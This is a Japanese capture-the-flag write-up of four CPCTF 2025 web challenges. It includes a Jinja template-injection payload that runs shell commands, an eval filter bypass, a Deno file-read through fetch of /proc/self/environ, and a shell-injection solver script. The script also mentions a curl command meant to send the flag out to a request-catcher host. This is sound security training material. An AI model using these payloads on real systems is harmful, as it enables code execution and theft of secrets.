# CPCTF 2025 Web writeup
Web問だけやりました。
## Name Omikuji
```python
result = f"""
{css}
<h1>🔮 名前占い 🔮</h1>
<div class="result">
<p>こんにちは、{name}さん。</p>
<p>あなたの運勢は…… <span class="fortune">{fortune}</span> です!</p>
"""
if fortune == "大吉":
with open("flag.txt", "r") as f:
content = f.read()
result += f'<div class="flag">フラグは{content}です。</div>'
result += "</div>"
return render_template_string(result)
```
`render_template_string`くんがいます。SSTIですね
```
{{ request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('cat flag.txt')['read']() }}
```

`CPCTF{sst1_is_d3ngerou2}`
大凶らしい・・・
## String Calculator
文字列連結もしてくれるらしい。
evalしてるので楽勝・・?と思ったら
```js
if (input.length > 64) throw new Error("Input too long");
if (/[()\[\].=]/.test(input)) throw new Error("Invalid characters in input");
if (/delete|Function|fetch|\+\+|--/.test(input)) throw new Error("Invalid keywords in input");
```
制限がいっぱい。`.`も`()`も使えないのかぁ・・・厳しい・・・
よく見るとgetFlagという関数がある。
```js
const getFlag = () => process.env.FLAG ?? "";
```
どうにかして`getFlag`を実行したい
そういえばtoStringなら頑張れば呼び出せそう。
上書きしてしまおう。
```
`${{toString:getFlag}}`
```

`CPCTF{JavaScr!pt_!s_4n_4wes0me_1anguage}`
ちなみにガチで詰まって一番最後に解きました。精進します・・・
## Blend Script
TSを実行してくれるサービス。
Deno使ってるらしい。触ったこと無いけど権限周りがNode.jsとちょっと違う覚えがある。
Dockerfile見るとENVにFLAGがセットされてるのでまずは普通に読んでみる

怒られた。`--allow-env`なるオプションが必要らしく今回のコードにはない。
では`/proc/self/environ`は?`--allow-read`ついてるし・・・

残念。
じゃあ`import`はどうだろう。

惜しい!読めてはいるが省略されている。`Y`で始まることはわかった。
最後に思いついた`fetch("file://...")`をやってみる

```js
console.log(await (await fetch("file:///proc/self/environ")).text())
```
```
CPCTF{YOU_can_rEad_3VeryTh1NG_4s_4_Fil3}
```
## Typst Note

Typstだ。最近めっちゃ使ってるので個人的に解いておきたい。
とりあえず、Server.ktを読む。
```kt=
try {
val request = call.receive<PublishRequest>()
if (request.pageId.trim().isEmpty()) {
throw IllegalArgumentException("Page ID cannot be empty")
}
if (request.pageId.length > 25) {
throw IllegalArgumentException("Page ID is too long")
}
val pdfName = "\"${request.pageId.replace(Regex("""(?=["`\\])"""), "\\\\")}.pdf\""
// Compile the Typst code into PDF
Files.createDirectories(Paths.get("requests"))
val compileProcess = ProcessBuilder("bash", "-c", "typst compile - requests/$pdfName").start()
compileProcess.outputStream.use {
it.write(request.content.toByteArray())
it.flush()
}
if (compileProcess.waitFor() != 0) {
throw RuntimeException(compileProcess.errorStream.bufferedReader().readText())
}
logger.info("Received publish request: $pdfName")
call.respondText("Publish request received", status = HttpStatusCode.OK)
} catch (e: Exception) {
// DO NOT respond with the error message for security reasons
call.respondText("Error processing publish request", status = HttpStatusCode.BadRequest)
}
```
どうやらRequest Publish to Adminを押すとAPIにtypstソースとIDが投げられ、typstでコンパイルされた後、保存されるみたい。
まず、`ProcessBuilder`の箇所にpdfNameが埋め込まれているので、コマンドを実行できそう。
じゃあ、pageIdを` $(echo -n 'curl' > s)`のようにして、ファイルに少しずつ`curl https://n.requestcatcher.com/$FLAG`のようなコマンドを書き込み、最後にそれを` $(. s)`で実行すれば文字数制限あっても大丈夫そうと思った。
しかし、よく見たらseccompがかかっており、外部への通信はできなさそう。
```json
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"names": [
"connect",
"getaddrinfo",
"gethostbyname",
"gethostbyname2"
],
"action": "SCMP_ACT_ERRNO"
}
]
}
```
うーーんと悩んでいるとあることに気づいた。
typstのコマンドの実行に成功すると200が返り、失敗すると400が返る。
うまくやれば二分探索できそう。
25文字の制限内でもコマンドインジェクションのみで二分探索できるのかもしれないが、私はあまりシェル芸が得意ではない(むしろ苦手)のでどうせならTypstを使って解く。
### 流れ
まず、`$(echo $FLAG>requests/f)a`でrequests/fに、フラグを書き込む。
次に以下のようなtypstのコードを用意する。
```typst
#let flag = read("requests/f")
#if flag.find(regex("^CPCTF\\{<regex>.*")) != none {
[ok]
} else {
panic("byebye")
}
```
このコードは、まず`requests/f`からファイルを読み取り、正規表現でパターンにマッチするものがあるか調べる。
見つかればコンパイルが通り、見つからなければ`panic`でコンパイルが失敗する。
`<regex>`の部分をいい感じに変えて二分探索すれば解けそう。
### solver
```python
import json
from time import sleep
import requests
flagtext = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_!?}"
def main():
url = "https://typst-note.web.cpctf.space/api/request-publish"
#url = "http://127.0.0.1:8080/api/request-publish"
default_header = {
"Content-Type": "application/json",
}
# write the flag to file
req = requests.post(
url,
data=json.dumps(data("""$(echo $FLAG>requests/f)a""")).encode(),
headers=default_header,
)
print(req.text)
candidates = split_half(flagtext)
ans = ""
while True:
print(ans)
# print(candidates)
# 念の為リミッター
sleep(0.1)
req = requests.post(
url,
data=json.dumps(data("a", typst_payload(f"{ans}[{candidates[0]}]"))).encode(),
headers=default_header,
)
# print(req.status_code)
if req.status_code == 200:
# regex ok
candidates = split_half(candidates[0])
else:
# regex fail
candidates = split_half(candidates[1])
concat = candidates[0] + candidates[1]
if len(concat) == 1:
# found
ans += concat
if concat == "}":
print("flag found")
print("CPCTF{" + ans)
break
candidates = split_half(flagtext)
def split_half(s):
half = len(s) // 2
return s[:half], s[half:]
def data(id: str, content: str = ""):
return {
"pageId": id,
"content": content,
}
def typst_payload(regex: str):
# escape special characters
regex = regex.replace("?", "\\?")
return (
"""
#let flag = read("requests/f")
#if flag.find(regex("^CPCTF\\{"""
+ regex
+ """.*")) != none {
[ok]
} else {
panic("byebye")
}
"""
)
if __name__ == "__main__":
main()
```
実行すると

```
CPCTF{H!deErr0rN0t54fe}
```